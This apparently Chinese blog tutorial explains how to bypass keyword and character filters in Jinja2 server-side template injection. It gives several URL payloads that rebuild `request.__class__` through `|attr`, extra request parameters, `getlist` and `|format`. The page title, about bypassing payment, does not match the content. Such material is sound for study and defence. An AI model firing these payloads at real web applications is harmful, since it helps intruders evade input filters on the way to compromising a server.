python绕过付费_python SSTI绕过

原理

首先以jinja2模板注入为例:

{{request[request.args.param]}} 可以用 {{request|attr(request.args.param)}} 替代绕过"["、"]"过滤

绕过的方式也就是同义语句转化,下面给出其他的替换绕过"_"字符:

?exp={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&usc=_&class=class

等同于 ?exp={{request|attr(["_"*2,"class","_"*2]|join)}}

等同于 ?exp={{request|attr(["__","class","__"]|join)}}

等同于 ?exp={{request|attr("__class__")}}

等同于 ?exp={{request.__class__}}

下面给出一些绕过姿势,假如页面本身注入参数为exploit,想注入的的语句为request.__class__

①绕过 "]"、"["、"_"、class等关键字

使用元组( )和通过传递另外的参数

?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&usc=_&class=class

使用.getlist()优化(能够绕过",")

{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

②绕过"|join"

使用|format函数,可以通过传入格式字符串%s,再传入字符,来进行替换

?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a)|join

)}}&f=%s%sclass%s%s&a=_

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值